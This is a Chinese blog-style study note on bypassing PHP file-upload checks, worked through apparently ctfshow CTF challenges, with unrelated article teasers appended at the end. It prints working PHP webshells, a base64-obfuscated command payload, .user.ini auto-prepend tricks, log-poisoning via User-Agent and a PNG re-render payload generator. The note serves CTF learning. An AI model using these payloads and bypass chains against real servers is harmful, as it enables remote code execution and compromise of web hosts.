【心得】PHP的文件上传个人笔记
目录
1 php的文件上传绕过 黑名单绕过
2 php文件上传的00截断
3 iconv字符转换异常后造成了字符截断
4 文件后缀是白名单的时候的绕过
web服务器的解析漏洞绕过
5.高级文件上传绕过
1 .htaccess nginx.htaccess
2 服务端内容检测
3 配合伪协议来绕过
4.配合日志包含绕过
5 上传html来xss 执行跨站脚本
6 getimagesize函数绕过
7 png二次渲染绕过
8 jpg二次渲染绕过
9 phar文件上传绕过
1 php的文件上传绕过 黑名单绕过
后缀替换为空时,我们通过提交 1.pphphp 替换php为空后,得到1.php 成功写入木马
php3 php5 phps phtml
php后缀替换为txt时,我们无法双写绕过,1.pphphp 1.ptxthp
例题1:web42
先随便上传一个马子
发现php后缀被替换为空
尝试双写绕过
访问/upload/yjh.php
成功写入,下略
2 php文件上传的00截断
hello world
hello空格world\n\00
123.php 明显不让直接上传
123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀 jpg 看起来是合法的文件名称
./upload/123.php%00.jpg -> ./upload/123.php
00字符截断需要的版本
php版本小于5.3.4 而最新的php版本已经达到8.1
java版本小于7u40,而最新的java版本已经达到20以上
3 iconv字符转换异常后造成了字符截断
php在文件上传场景下的文件名字符集转换时,可能出现截断问题
utf-8字符集 默认的字符编码范围的是0x00-0x7f
iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理
就会造成截断问题
123.php%df.jpg 123.php
php版本低于5.4才可以使用
4 文件后缀是白名单的时候的绕过
白名单:只准上传这几个后缀 因为匹配的内容少 所以限制的范围就大
黑名单:不准上传这几个后缀 因为匹配的内容多 所以限制的范围就小 仅限于自己制定的几个,除了这几个,其他都行
web服务器的解析漏洞绕过
apache
a 多后缀解析漏洞 当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行
123.txt.ctfshow 123.txt 文本文档形式解析
123.php.ctfshow 123.php 就交给中间件处理php脚本
b ImageMagic组件白名单绕过
目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
在php.ini中启用了这个插件
通过了php new Imageick 对象的方式来处理图片时
且 php版本大于 5.4时
才可以使用,上传特定的svg图片,来实现组件的缺陷导致任意代码执行
nginx 基于错误的nginx配置 和 php-fpm配置,当我们访问 123.txt/123.php
cgi.fix_pathinfo 默认开启 123.txt/123.php 当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了
iis Windows下使用 iis6.0版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件,都会按照asp来解析 123.txt WindowsXP Windows Server 2003
例题2:web43
随便上传一个文件
后缀白名单txt
抓个包看下响应头,发现是nginx
这里利用nginx解析漏洞
先上传一个yjh3.txt
内容<?php @eval($_POST['cmd']);?>
上传成功,访问/upload/yjh3.txt/suibian.php
成功访问
post传:cmd=system('tac /f*');
5.高级文件上传绕过
1 .htaccess nginx.htaccess
php.ini
虚拟主机时代 一个物理服务器,里面可能存放几十上百个网站 每个网站,一个目录
A 网站 需要这样的php.ini配置
B 网站 却需要那样的php.ini配置
C 网站 又需要另外的php.ini配置
总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录
自定义配置文件 .htaccess nginx.htaccess
在nginx 下,默认使用.user.ini 配置文件来进行php的配置
使用
auto_append_file=123.txt 来让任意的php文件包含123.txt,执行里面的php代码
例题3:web44
抓包发现是nginx,考虑用.user.ini
.user.ini
GIF89a
auto_prepend_file=yjh3.txt
yjh3.txt
<?php eval($_POST['cmd']);?>
最后在index.php中post:cmd=system('tac /f*');
略
(本质是文件上传配合文件包含实现rce的效果)
2 服务端内容检测
不局限检测文件名,还会检测文件的后缀 文件的内容
<?php system eval $_POST
二分法确定出被检测的关键字,使用替代语法绕过
例题4:web45
在上一题基础上还加了个文件内容检测
随便上传一个txt文件,回显内容非法
二分法多试几次修改成<?=eval($_COOKIE[1]);
因为cookie中如;的一些特殊字符不能出现
所以最终payload:
1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>
3 配合伪协议来绕过
例题5:web46
这题真是惊掉下巴了,还有这种姿势hhh
.user.ini内容
抓包,传post
真乃神技也 ()
4.配合日志包含绕过
例题6:web47
同格局打开
直接UA写马
<?php system('tac /f*');?>
5 上传html来xss 执行跨站脚本
这个之后展开来讲,先按下不表
6 getimagesize函数绕过
getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传
XBM 格式图片
#define %s %d 这种形式,就认为时XBM图片的高或者宽
例题7:web48
这题用web47的payload也可以通杀(因为自己有加GIF89a的好习惯)
当然也可以这样写.user.ini
注意:如果是apache的.htaccess
则不能直接加GIF89a,否则不能解析,此时必须要#define来绕过
7 png二次渲染绕过
正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去
二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉
所以,我们需要使用特殊的方式,来构造我们的图片
贴一段生成脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>
生成图片,再提交,发现存在一个文件包含,那得了,直接rce
(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)
拿到flag
8 jpg二次渲染绕过
使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码
9 phar文件上传绕过
之前文章有总结过,不多说
相关文章:

【心得】PHP的文件上传个人笔记
目录 1 php的文件上传绕过 黑名单绕过 2 php文件上传的00截断 3 iconv字符转换异常后造成了字符截断 4 文件后缀是白名单的时候的绕过 web服务器的解析漏洞绕过 5.高级文件上传绕过 1 .htaccess nginx.htaccess 2 服务端内容检测 3 配合伪协议来绕过 4.配合日志包含绕…...

深度学习之基于Pytorch和OCR的识别文本检测系统
欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介深度学习与OCRPyTorch在OCR中的应用文本检测系统的关键组成部分1. 图像预处理2. 深度学习模型3. 文本检测算法4. 后处理 二、功能三、系统四. 总结 一项目简…...

三十一、W5100S/W5500+RP2040树莓派Pico<TCP_Server多路socket>
文章目录 1 前言2 简介2. 1 使用多路socket的优点2.2 多路socket数据交互原理2.3 多路socket应用场景 3 WIZnet以太网芯片4 多路socket设置示例概述以及使用4.1 流程图4.2 准备工作核心4.3 连接方式4.4 主要代码概述4.5 结果演示 5 注意事项6 相关链接 1 前言 W5100S/W5500是一…...

带你精通chrony服务器
华子目录 为什么会出现Chrony?Linux的两个时钟NTP介绍Chrony介绍安装与配置安装Chrony配置文件分析实验1实验2chronyc命令查看时间服务器chronyc sources输出分析其他命令 常见时区 为什么会出现Chrony? 由于IT系统中,准确的计时非常重要&am…...

vs2017 编译Qt 5.11.2 源码
SDK 10.0.22000.194 有 2种编译方式 ,第二种 看下面 方式一: 1、问题描述: 使用VS编译程序时,运行库选择多线程(/MT),表示采用多线程静态release的方式进行编译。 但是,发现编译是不能通过的…...

【SpringBoot3+Vue3】四【实战篇】-前端(vue基础)
目录 一、项目前置知识 二、使用vscode创建 三、vue介绍 四、局部使用vue 1、快速入门 1.1 需求 1.2 准备工作 1.3 操作 1.3.1 创建html 1.3.2 创建初始html代码 1.3.3 参照官网import vue 1.3.4 创建vue应用实例 1.3.5 准备div 1.3.6 准备用户数据 1.3.7 通过…...

element ui修改select选择框背景色和边框色
一、修改选择框的背景色和边框色 style部分 .custom-select /deep/ .el-input__inner {color: #fff!important;border: 1px solid #326AFF;background: #04308D !important; } html部分 <el-select class"custom-select" v-model"dhvalue" placeholde…...

软件测试人员提问常用的ChatGPT通用提示词模板
如何设计有效的软件测试用例? 如何运用自动化测试工具进行软件测试? 如何进行软件的功能测试、性能测试和安全测试? 如何评估软件测试的质量和覆盖范围? 软件测试有哪些常见的缺陷和错误,如何识别和解决࿱…...

【开源】基于JAVA的服装店库存管理系统
项目编号: S 052 ,文末获取源码。 \color{red}{项目编号:S052,文末获取源码。} 项目编号:S052,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 角色管理模块2.3 服…...

Jenkins代码检测和本地静态检查
1:Jenkins简介 Jenkins是一个用Java编写的开源的持续集成工具;Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测…...

从0开始学习JavaScript--JavaScript 字符串与文本内容使用
JavaScript中的字符串和文本内容处理是前端开发中的核心技能之一。本文将深入研究字符串的创建、操作,以及文本内容的获取、修改等操作,并通过丰富的示例代码,帮助读者更全面地了解和应用这些概念。 JavaScript 字符串基础 字符串是JavaScr…...

Linux--网络概念
1.什么是网络 1.1 如何看待计算机 我们知道,对于计算机来说,计算机是遵循冯诺依曼体系结构的(即把数据从外设移动到内存,再从内存到CPU进行计算,然后返回内存,重新读写到外设中)。这是一台计算机…...

C# 中的 Math 数学函数
C# 中的 Math 类提供了许多数学函数,用于执行各种常见的数学运算。以下是 Math 类中的一些常用方法: Math 数学函数 Abs: 返回指定数字的绝对值Acos: 返回指定数字的反余弦值(弧度)Asin: 返回指定数字的反正弦值(弧度&…...

mybatis之主键返回
1.在mybatis的xml中加入 <insert id"insertUser" keyProperty"id" useGeneratedKeys"true" parameterType"com.UserAndOrder"> insert into Tuser(userName,passWord) values (#{userName},#{passWord} ) </insert&…...

ChatGpt3.5已经应用了一段时间,分享一些自己的使用心得.
首先ChatGpt3.5的文本生成功能十分强大,但是chatgpt有一些使用规范大家需要注意,既然chat是一种工具,我们就需要学会它的使用说明,学会chatgpt的引用语句,会极大的方便我们的使用。我们需要做以下的准备。 明确任务和目…...

有趣的按钮分享
前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。 广告打完,我们进入正题,先看效果: 废话不多,上源码: <button class&quo…...

论文阅读:YOLOV: Making Still Image Object Detectors Great at Video Object Detection
发表时间:2023年3月5日 论文地址:https://arxiv.org/abs/2208.09686 项目地址:https://github.com/YuHengsss/YOLOV 视频物体检测(VID)具有挑战性,因为物体外观的高度变化以及一些帧的不同恶化。有利的信息…...

如何将图片转为excel或word?(客户端)
演示软件:金鸣表格文字识别大师3.6.1(新版本界面可能会略有不同) 第一部分 将图片转为excel或文表混合的word 一般的软件要将图片转为可编辑的excel,都需要待识别的图片要有明显清晰的表格线,但我们程序现已克服了这…...

Linux网络——HTTP
一.应用层 我们程序员写的一个个解决我们实际问题, 满足我们日常需求的网络程序, 都是在应用层. 我们上一次写的网络版本计算器就是一个应用层的网络程序。 我们约定了数据的读取,一端发送时构造的数据, 在另一端能够正确的进行解析, 就是ok的. 这种约定, 就是应…...

ElasticSearch综合练习题,ES为8版本,使用Kibana运行语句
文章目录 前言一、ES查询集群情况二、ES索引习题查询所有索引查询单个索引 三、ES增删改查数据单条处理批量处理 四、雇员查询练习题五、学生查询练习题六、商品信息联系题其他:一问一答参考文档 前言 ES8版本没有type概念,所以语法可能会与其他版本有差…...

Java方法中不使用的对象应该手动赋值为NULL吗?
在java方法中,不使用的对象是否应该手动赋值为null?我们先来通过一个示例看一下。 垃圾回收示例一 public class GuoGuoTest {public static void main(String[] args) {byte[] placeholder new byte[64 * 1024 * 1024];System.gc();} } 上面代码向内…...

Mysql主从搭建
Mysql主从搭建 1.Mysql下载1.1 查看操作系统2.2 下载mysql安装包 2.Mysql安装2.1 解压2.2 目录重命名2.3 创建data,存储文件2.4 创建用户组2.5 授权用户2.6 配置环境变量2.7 编辑my.cnf2.8 创建相关目录和文件2.9 初始化数据库2.10 复制mysql.server到/etc/init.d/下…...

WPF程序给按钮增加不同状态的图片
首先我们在资源里添加几个图片,Up,Over和Down状态。 然后我们创建一个Style。默认我们的背景设置成Up 然后在Triggers里添加代码,当Property:IsMouseOver为True的时候更换成Over;当Property:IsPressed为Tr…...

Java编程陷阱(三)
陷阱11:不要使用StringBuffer类来拼接字符串 StringBuffer是Java中的一个类,它可以表示一个可变的字符串,也就是可以对字符串进行修改和追加的操作,比如使用append或insert方法来拼接字符串。有时候,我们需要使用StringBuffer类来拼接字符串,比如在循环中动态地构建一个字…...

数据仓库相关
在阿里巴巴的数据体系中,我们建议将数据仓库分为三层,自下而上为:数据引入层(ODS,Operation Data Store)、数据公共层(CDM,Common Data Model)和数据应用层(…...

SpringBoot学习笔记-创建个人中心页面(下)
笔记内容转载自 AcWing 的 SpringBoot 框架课讲义,课程链接:AcWing SpringBoot 框架课。 CONTENTS 1. 实现个人中心页面2. POJO时区修改3. 集成代码编辑器 本节实现个人中心的前端页面,用户能够查看自己的 Bot 信息,并能创建、修改…...

电子秤方案:做一个宠物勺方案设计
养宠物是一件费心劳力的事情,但同时也是能够给你带来快乐和幸福感的事情。就是有时候会怕宠物毫无征兆地生病令人措手不及,所以电子秤方案设计鼎盛合科技分享一个小方案,能够及时了解到宠物的身体状况问题。 蓝牙宠物勺是一种具有记录和称重…...

Debezium-Embedded 实时监控MySQL数据变更
1.Debezium-Embedded 简介 Debezium连接器的操作通常是将它们部署到Kafka Connect服务,并配置一个或多个连接器来监控上游数据库,并为它们在上游数据库中看到的所有更改生成数据更改事件。这些数据更改事件被写入Kafka,在那里它们可以被许多不…...

计算机是如何工作的(简单介绍)
目录 一、冯诺依曼体系 二、CPU基本流程工作 逻辑⻔ 电⼦开关——机械继电器(Mechanical Relay) ⻔电路(Gate Circuit) 算术逻辑单元 ALU(Arithmetic & Logic Unit) 算术单元(ArithmeticUnit) 逻辑单元(Logic Unit) ALU 符号 寄存器(Regis…...

JSP基本表单和Request对象使用例子
表单的jsp; <%page contentType"text/html;charsetgbk" pageEncoding"UTF-8"%> <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><titl…...